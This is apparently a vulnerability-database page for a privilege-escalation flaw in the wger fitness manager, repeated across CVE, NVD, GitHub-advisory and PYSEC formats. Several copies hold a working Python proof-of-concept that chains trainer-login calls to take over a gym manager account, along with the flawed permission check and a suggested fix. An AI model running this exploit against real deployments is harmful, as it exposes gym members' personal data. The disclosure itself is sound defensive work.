CVE-2026-43978 (GCVE-0-2026-43978)
Vulnerability from cvelistv5 – Published: 2026-07-16 22:11 – Updated: 2026-07-17 10:49
VLAI
EPSS
VEX
Title
wger: Privilege escalation via trainer-login session chaining allows gym trainers to impersonate gym managers
Summary
wger is a free, open-source workout and fitness manager. In versions prior to 2.6, a gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information. This issue has been fixed in version 2.6.
Severity
8.1 (High)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-07-17 10:49 UTC
CWE
- CWE-269 - Improper Privilege Management
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/wger-project/wger/security/adv… | x_refsource_CONFIRM |
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| wger-project | wger |
Affected:
< 2.6
|
guessed |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-43978",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-17T10:49:18.653519Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-17T10:49:37.286Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/wger-project/wger/security/advisories/GHSA-9qpr-vc49-hqg2"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "wger",
"vendor": "wger-project",
"versions": [
{
"status": "affected",
"version": "\u003c 2.6"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "wger is a free, open-source workout and fitness manager. In versions prior to 2.6, a gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers\u0027 and managers\u0027 personal information. This issue has been fixed in version 2.6."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-269",
"description": "CWE-269: Improper Privilege Management",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-16T22:11:57.629Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/wger-project/wger/security/advisories/GHSA-9qpr-vc49-hqg2",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/wger-project/wger/security/advisories/GHSA-9qpr-vc49-hqg2"
}
],
"source": {
"advisory": "GHSA-9qpr-vc49-hqg2",
"discovery": "UNKNOWN"
},
"title": "wger: Privilege escalation via trainer-login session chaining allows gym trainers to impersonate gym managers"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-43978",
"datePublished": "2026-07-16T22:11:57.629Z",
"dateReserved": "2026-05-04T20:24:31.916Z",
"dateUpdated": "2026-07-17T10:49:37.286Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-43978",
"date": "2026-11-04",
"epss": "0.00265",
"percentile": "0.18511"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"product": "wger",
"vendor": "wger-project",
"versions": [
{
"status": "affected",
"version": "\u003c 2.6"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "wger is a free, open-source workout and fitness manager. In versions prior to 2.6, a gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers\u0027 and managers\u0027 personal information. This issue has been fixed in version 2.6."
},
{
"lang": "es",
"value": "wger es un gestor de entrenamientos y fitness gratuito y de c\u00f3digo abierto. En versiones anteriores a la 2.6, un entrenador de gimnasio puede escalar su sesi\u00f3n a cualquier cuenta con mayores privilegios (gerente de gimnasio, gerente general) encadenando dos llamadas al endpoint trainer-login. Una vez que un entrenador realiza un switch leg\u00edtimo a un usuario con pocos privilegios, la bandera de sesi\u00f3n trainer.identity se establece y esta bandera por s\u00ed sola omite la verificaci\u00f3n de permisos en todas las llamadas posteriores a trainer-login. Esto otorga capacidades completas de administraci\u00f3n del gimnasio, incluyendo la visualizaci\u00f3n de todos los datos de los miembros, la modificaci\u00f3n de contratos, la gesti\u00f3n de la configuraci\u00f3n del gimnasio y el acceso a la informaci\u00f3n personal de otros entrenadores y gerentes. Este problema ha sido solucionado en la versi\u00f3n 2.6."
}
],
"id": "CVE-2026-43978",
"lastModified": "2026-10-24T20:10:00.137",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.2,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-43978",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-17T10:49:18.653519Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-07-16T23:16:16.310",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/wger-project/wger/security/advisories/GHSA-9qpr-vc49-hqg2"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"url": "https://github.com/wger-project/wger/security/advisories/GHSA-9qpr-vc49-hqg2"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Deferred",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-269"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
},
"vulnrichment": {
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-43978",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-17T10:49:18.653519Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-17T10:49:29.910Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/wger-project/wger/security/advisories/GHSA-9qpr-vc49-hqg2"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "wger",
"vendor": "wger-project",
"versions": [
{
"status": "affected",
"version": "\u003c 2.6"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "wger is a free, open-source workout and fitness manager. In versions prior to 2.6, a gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers\u0027 and managers\u0027 personal information. This issue has been fixed in version 2.6."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-269",
"description": "CWE-269: Improper Privilege Management",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-16T22:11:57.629Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/wger-project/wger/security/advisories/GHSA-9qpr-vc49-hqg2",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/wger-project/wger/security/advisories/GHSA-9qpr-vc49-hqg2"
}
],
"source": {
"advisory": "GHSA-9qpr-vc49-hqg2",
"discovery": "UNKNOWN"
},
"title": "wger: Privilege escalation via trainer-login session chaining allows gym trainers to impersonate gym managers"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-43978",
"datePublished": "2026-07-16T22:11:57.629Z",
"dateReserved": "2026-05-04T20:24:31.916Z",
"dateUpdated": "2026-07-17T10:49:37.286Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
FKIE_CVE-2026-43978
Vulnerability from fkie_nvd - Published: 2026-07-16 23:16 - Updated: 2026-10-24 20:10
Severity
Summary
wger is a free, open-source workout and fitness manager. In versions prior to 2.6, a gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information. This issue has been fixed in version 2.6.
References
Impacted products
| Vendor | Product | Version |
|---|
{
"affected": [
{
"affectedData": [
{
"product": "wger",
"vendor": "wger-project",
"versions": [
{
"status": "affected",
"version": "\u003c 2.6"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "wger is a free, open-source workout and fitness manager. In versions prior to 2.6, a gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers\u0027 and managers\u0027 personal information. This issue has been fixed in version 2.6."
},
{
"lang": "es",
"value": "wger es un gestor de entrenamientos y fitness gratuito y de c\u00f3digo abierto. En versiones anteriores a la 2.6, un entrenador de gimnasio puede escalar su sesi\u00f3n a cualquier cuenta con mayores privilegios (gerente de gimnasio, gerente general) encadenando dos llamadas al endpoint trainer-login. Una vez que un entrenador realiza un switch leg\u00edtimo a un usuario con pocos privilegios, la bandera de sesi\u00f3n trainer.identity se establece y esta bandera por s\u00ed sola omite la verificaci\u00f3n de permisos en todas las llamadas posteriores a trainer-login. Esto otorga capacidades completas de administraci\u00f3n del gimnasio, incluyendo la visualizaci\u00f3n de todos los datos de los miembros, la modificaci\u00f3n de contratos, la gesti\u00f3n de la configuraci\u00f3n del gimnasio y el acceso a la informaci\u00f3n personal de otros entrenadores y gerentes. Este problema ha sido solucionado en la versi\u00f3n 2.6."
}
],
"id": "CVE-2026-43978",
"lastModified": "2026-10-24T20:10:00.137",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.2,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-43978",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-17T10:49:18.653519Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-07-16T23:16:16.310",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/wger-project/wger/security/advisories/GHSA-9qpr-vc49-hqg2"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"url": "https://github.com/wger-project/wger/security/advisories/GHSA-9qpr-vc49-hqg2"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Deferred",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-269"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-9QPR-VC49-HQG2
Vulnerability from github – Published: 2026-05-14 16:16 – Updated: 2026-05-14 16:16
VLAI
Summary
wger: Privilege escalation via trainer-login session chaining allows gym trainer to impersonate gym manager
Details
Summary
A gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity
is set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers.
Details
In wger/core/views/user.py lines 169–178, the permission check uses an AND condition:
# Line 169 — passes if EITHER condition is false
if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
return HttpResponseForbidden()
# Line 173 — only runs when current user IS a trainer, not when identity is inherited
if request.user.has_perm('gym.gym_trainer') and (
user.has_perm('gym.manage_gym') or user.has_perm('gym.manage_gyms')
):
return HttpResponseForbidden()
After hop 1 (trainer → regular user), request.user is the regular user who has no gym_trainer permission, but session['trainer.identity'] is set. Line 169 evaluates:
not False AND not False → the second operand short-circuits the check. Line 173 is never reached because the current user is no longer a trainer. The attacker can therefore call trainer-login again targeting a manager account and it succeeds.
PoC
Requirements: A running wger instance with at least one gym trainer account and one gym manager account in the same gym.
import requests
BASE = 'http://localhost:80'
s = requests.Session()
def whoami():
r = s.get(f'{BASE}/api/v2/userprofile/',
headers={'Accept': 'application/json'})
return r.json().get('username')
# ─────────────────────────────────────────────
print("=" * 55)
print(" PoC: Trainer Login Privilege Escalation")
print(" wger/core/views/user.py:169")
print("=" * 55)
# ─── STEP 1: Normal login as gym trainer ─────
print("\n[STEP 1] Login as 'trainer1'")
print(" trainer1 has ONLY 'gym.gym_trainer' permission")
s.get(f'{BASE}/en/user/login')
s.post(f'{BASE}/en/user/login', data={
'username': 'trainer1',
'password': 'pass1234',
'csrfmiddlewaretoken': s.cookies['csrftoken'],
})
print(f" Current user : {whoami()}")
print(f" Permission : gym.gym_trainer (NOT manage_gym)")
# ─── STEP 2: Legitimate trainer-login ────────
print("\n[STEP 2] trainer1 uses trainer-login to switch into 'regular1' (pk=4)")
print(" This is ALLOWED — trainer1 has gym_trainer permission")
print(" Side effect: session['trainer.identity'] = trainer1_pk")
s.get(f'{BASE}/en/user/4/trainer-login')
print(f" Current user : {whoami()}")
print(f" Session flag : trainer.identity is now SET")
# ─── STEP 3: EXPLOIT ─────────────────────────
print("\n[STEP 3] EXPLOIT — now as 'regular1', call trainer-login for 'manager1' (pk=3)")
print(" regular1 has ZERO permissions")
print(" BUT session['trainer.identity'] is set from Step 2")
print(" Line 169 check: `not has_perm() AND not session.get()` → BYPASSED")
s.get(f'{BASE}/en/user/3/trainer-login')
result = whoami()
print(f" Current user : {result}")
# ─── RESULT ──────────────────────────────────
print("\n" + "=" * 55)
if result == 'manager1':
print(" RESULT : !! VULNERABLE !!")
print(" trainer1 (gym_trainer) is now logged in as manager1")
print(" manager1 has 'gym.manage_gym' — full gym admin access")
else:
print(" RESULT : Not vulnerable (got: " + result + ")")
print("=" * 55)
Output on wger 2.5.0a2:
Impact
Any authenticated gym trainer can take over a gym manager or general gym manager account within the same gym. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information.
How to fix
The root cause is a logical error in wger/core/views/user.py at line 169. The AND operator means that if session['trainer.identity'] is set, the entire permission check is skipped — allowing any user who has previously been switched into to perform further trainer-login hops without holding the gym.gym_trainer permission themselves. Additionally, the target-user protection block at line 173 only executes when request.user is a trainer, so it never fires during a chained hop.
Vulnerable code (user.py:169–178):
if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
return HttpResponseForbidden()
if request.user.has_perm('gym.gym_trainer') and (
user.has_perm('gym.gym_trainer')
or user.has_perm('gym.manage_gym')
or user.has_perm('gym.manage_gyms')
):
return HttpResponseForbidden()
Suggested fix:
trainer_identity_pk = request.session.get('trainer.identity')
if not request.user.has_perm('gym.gym_trainer'):
if not trainer_identity_pk:
return HttpResponseForbidden()
# Verify the original trainer in the session still holds the permission
original_trainer = get_object_or_404(User, pk=trainer_identity_pk)
if not original_trainer.has_perm('gym.gym_trainer'):
return HttpResponseForbidden()
# Target-user check must apply in both direct and chained hop scenarios
if (request.user.has_perm('gym.gym_trainer') or trainer_identity_pk) and (
user.has_perm('gym.gym_trainer')
or user.has_perm('gym.manage_gym')
or user.has_perm('gym.manage_gyms')
):
return HttpResponseForbidden()
Severity
8.1 (High)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "wger"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-43978"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T16:16:30Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nA gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag `trainer.identity`\nis set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers.\n\n### Details\nIn `wger/core/views/user.py` lines 169\u2013178, the permission check uses an AND condition:\n\n```python\n# Line 169 \u2014 passes if EITHER condition is false\nif not request.user.has_perm(\u0027gym.gym_trainer\u0027) and not request.session.get(\u0027trainer.identity\u0027):\n return HttpResponseForbidden()\n\n# Line 173 \u2014 only runs when current user IS a trainer, not when identity is inherited\nif request.user.has_perm(\u0027gym.gym_trainer\u0027) and (\n user.has_perm(\u0027gym.manage_gym\u0027) or user.has_perm(\u0027gym.manage_gyms\u0027)\n):\n return HttpResponseForbidden()\n```\n\nAfter hop 1 (trainer \u2192 regular user), `request.user` is the regular user who has no `gym_trainer` permission, but `session[\u0027trainer.identity\u0027]` is set. Line 169 evaluates:\n`not False AND not False` \u2192 the second operand short-circuits the check. Line 173 is never reached because the current user is no longer a trainer. The attacker can therefore call trainer-login again targeting a manager account and it succeeds.\n\n\n### PoC\nRequirements: A running wger instance with at least one gym trainer account and one gym manager account in the same gym.\n\n```python\nimport requests\n\nBASE = \u0027http://localhost:80\u0027\ns = requests.Session()\n\ndef whoami():\n r = s.get(f\u0027{BASE}/api/v2/userprofile/\u0027,\n headers={\u0027Accept\u0027: \u0027application/json\u0027})\n return r.json().get(\u0027username\u0027)\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nprint(\"=\" * 55)\nprint(\" PoC: Trainer Login Privilege Escalation\")\nprint(\" wger/core/views/user.py:169\")\nprint(\"=\" * 55)\n\n# \u2500\u2500\u2500 STEP 1: Normal login as gym trainer \u2500\u2500\u2500\u2500\u2500\nprint(\"\\n[STEP 1] Login as \u0027trainer1\u0027\")\nprint(\" trainer1 has ONLY \u0027gym.gym_trainer\u0027 permission\")\n\ns.get(f\u0027{BASE}/en/user/login\u0027)\ns.post(f\u0027{BASE}/en/user/login\u0027, data={\n \u0027username\u0027: \u0027trainer1\u0027,\n \u0027password\u0027: \u0027pass1234\u0027,\n \u0027csrfmiddlewaretoken\u0027: s.cookies[\u0027csrftoken\u0027],\n})\nprint(f\" Current user : {whoami()}\")\nprint(f\" Permission : gym.gym_trainer (NOT manage_gym)\")\n\n# \u2500\u2500\u2500 STEP 2: Legitimate trainer-login \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nprint(\"\\n[STEP 2] trainer1 uses trainer-login to switch into \u0027regular1\u0027 (pk=4)\")\nprint(\" This is ALLOWED \u2014 trainer1 has gym_trainer permission\")\nprint(\" Side effect: session[\u0027trainer.identity\u0027] = trainer1_pk\")\n\ns.get(f\u0027{BASE}/en/user/4/trainer-login\u0027)\nprint(f\" Current user : {whoami()}\")\nprint(f\" Session flag : trainer.identity is now SET\")\n\n# \u2500\u2500\u2500 STEP 3: EXPLOIT \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nprint(\"\\n[STEP 3] EXPLOIT \u2014 now as \u0027regular1\u0027, call trainer-login for \u0027manager1\u0027 (pk=3)\")\nprint(\" regular1 has ZERO permissions\")\nprint(\" BUT session[\u0027trainer.identity\u0027] is set from Step 2\")\nprint(\" Line 169 check: `not has_perm() AND not session.get()` \u2192 BYPASSED\")\n\ns.get(f\u0027{BASE}/en/user/3/trainer-login\u0027)\nresult = whoami()\nprint(f\" Current user : {result}\")\n\n# \u2500\u2500\u2500 RESULT \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nprint(\"\\n\" + \"=\" * 55)\nif result == \u0027manager1\u0027:\n print(\" RESULT : !! VULNERABLE !!\")\n print(\" trainer1 (gym_trainer) is now logged in as manager1\")\n print(\" manager1 has \u0027gym.manage_gym\u0027 \u2014 full gym admin access\")\nelse:\n print(\" RESULT : Not vulnerable (got: \" + result + \")\")\nprint(\"=\" * 55)\n```\n\nOutput on wger 2.5.0a2:\n\n\u003cimg width=\"728\" height=\"628\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3e8affa3-4728-480c-bb57-929f66723ea5\" /\u003e\n\n### Impact\nAny authenticated gym trainer can take over a gym manager or general gym manager account within the same gym. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers\u0027 and managers\u0027 personal information.\n\n### How to fix\n\nThe root cause is a logical error in wger/core/views/user.py at line 169. The AND operator means that if session[\u0027trainer.identity\u0027] is set, the entire permission check is skipped \u2014 allowing any user who has previously been switched into to perform further trainer-login hops without holding the gym.gym_trainer permission themselves. Additionally, the target-user protection block at line 173 only executes when request.user is a trainer, so it never fires during a chained hop.\n\nVulnerable code (user.py:169\u2013178):\n\n```\nif not request.user.has_perm(\u0027gym.gym_trainer\u0027) and not request.session.get(\u0027trainer.identity\u0027):\n return HttpResponseForbidden()\n\nif request.user.has_perm(\u0027gym.gym_trainer\u0027) and (\n user.has_perm(\u0027gym.gym_trainer\u0027)\n or user.has_perm(\u0027gym.manage_gym\u0027)\n or user.has_perm(\u0027gym.manage_gyms\u0027)\n):\n return HttpResponseForbidden()\n```\n\nSuggested fix:\n\n```\ntrainer_identity_pk = request.session.get(\u0027trainer.identity\u0027)\n\nif not request.user.has_perm(\u0027gym.gym_trainer\u0027):\n if not trainer_identity_pk:\n return HttpResponseForbidden()\n # Verify the original trainer in the session still holds the permission\n original_trainer = get_object_or_404(User, pk=trainer_identity_pk)\n if not original_trainer.has_perm(\u0027gym.gym_trainer\u0027):\n return HttpResponseForbidden()\n\n# Target-user check must apply in both direct and chained hop scenarios\nif (request.user.has_perm(\u0027gym.gym_trainer\u0027) or trainer_identity_pk) and (\n user.has_perm(\u0027gym.gym_trainer\u0027)\n or user.has_perm(\u0027gym.manage_gym\u0027)\n or user.has_perm(\u0027gym.manage_gyms\u0027)\n):\n return HttpResponseForbidden()\n```",
"id": "GHSA-9qpr-vc49-hqg2",
"modified": "2026-05-14T16:16:30Z",
"published": "2026-05-14T16:16:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/wger-project/wger/security/advisories/GHSA-9qpr-vc49-hqg2"
},
{
"type": "PACKAGE",
"url": "https://github.com/wger-project/wger"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "wger: Privilege escalation via trainer-login session chaining allows gym trainer to impersonate gym manager"
}
PYSEC-2026-3420
Vulnerability from pysec - Published: 2026-07-13 15:19 - Updated: 2026-07-13 16:07
VLAI
Details
Summary
A gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity
is set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers.
Details
In wger/core/views/user.py lines 169–178, the permission check uses an AND condition:
# Line 169 — passes if EITHER condition is false
if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
return HttpResponseForbidden()
# Line 173 — only runs when current user IS a trainer, not when identity is inherited
if request.user.has_perm('gym.gym_trainer') and (
user.has_perm('gym.manage_gym') or user.has_perm('gym.manage_gyms')
):
return HttpResponseForbidden()
After hop 1 (trainer → regular user), request.user is the regular user who has no gym_trainer permission, but session['trainer.identity'] is set. Line 169 evaluates:
not False AND not False → the second operand short-circuits the check. Line 173 is never reached because the current user is no longer a trainer. The attacker can therefore call trainer-login again targeting a manager account and it succeeds.
PoC
Requirements: A running wger instance with at least one gym trainer account and one gym manager account in the same gym.
import requests
BASE = 'http://localhost:80'
s = requests.Session()
def whoami():
r = s.get(f'{BASE}/api/v2/userprofile/',
headers={'Accept': 'application/json'})
return r.json().get('username')
# ─────────────────────────────────────────────
print("=" * 55)
print(" PoC: Trainer Login Privilege Escalation")
print(" wger/core/views/user.py:169")
print("=" * 55)
# ─── STEP 1: Normal login as gym trainer ─────
print("\n[STEP 1] Login as 'trainer1'")
print(" trainer1 has ONLY 'gym.gym_trainer' permission")
s.get(f'{BASE}/en/user/login')
s.post(f'{BASE}/en/user/login', data={
'username': 'trainer1',
'password': 'pass1234',
'csrfmiddlewaretoken': s.cookies['csrftoken'],
})
print(f" Current user : {whoami()}")
print(f" Permission : gym.gym_trainer (NOT manage_gym)")
# ─── STEP 2: Legitimate trainer-login ────────
print("\n[STEP 2] trainer1 uses trainer-login to switch into 'regular1' (pk=4)")
print(" This is ALLOWED — trainer1 has gym_trainer permission")
print(" Side effect: session['trainer.identity'] = trainer1_pk")
s.get(f'{BASE}/en/user/4/trainer-login')
print(f" Current user : {whoami()}")
print(f" Session flag : trainer.identity is now SET")
# ─── STEP 3: EXPLOIT ─────────────────────────
print("\n[STEP 3] EXPLOIT — now as 'regular1', call trainer-login for 'manager1' (pk=3)")
print(" regular1 has ZERO permissions")
print(" BUT session['trainer.identity'] is set from Step 2")
print(" Line 169 check: `not has_perm() AND not session.get()` → BYPASSED")
s.get(f'{BASE}/en/user/3/trainer-login')
result = whoami()
print(f" Current user : {result}")
# ─── RESULT ──────────────────────────────────
print("\n" + "=" * 55)
if result == 'manager1':
print(" RESULT : !! VULNERABLE !!")
print(" trainer1 (gym_trainer) is now logged in as manager1")
print(" manager1 has 'gym.manage_gym' — full gym admin access")
else:
print(" RESULT : Not vulnerable (got: " + result + ")")
print("=" * 55)
Output on wger 2.5.0a2:
Impact
Any authenticated gym trainer can take over a gym manager or general gym manager account within the same gym. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information.
How to fix
The root cause is a logical error in wger/core/views/user.py at line 169. The AND operator means that if session['trainer.identity'] is set, the entire permission check is skipped — allowing any user who has previously been switched into to perform further trainer-login hops without holding the gym.gym_trainer permission themselves. Additionally, the target-user protection block at line 173 only executes when request.user is a trainer, so it never fires during a chained hop.
Vulnerable code (user.py:169–178):
if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
return HttpResponseForbidden()
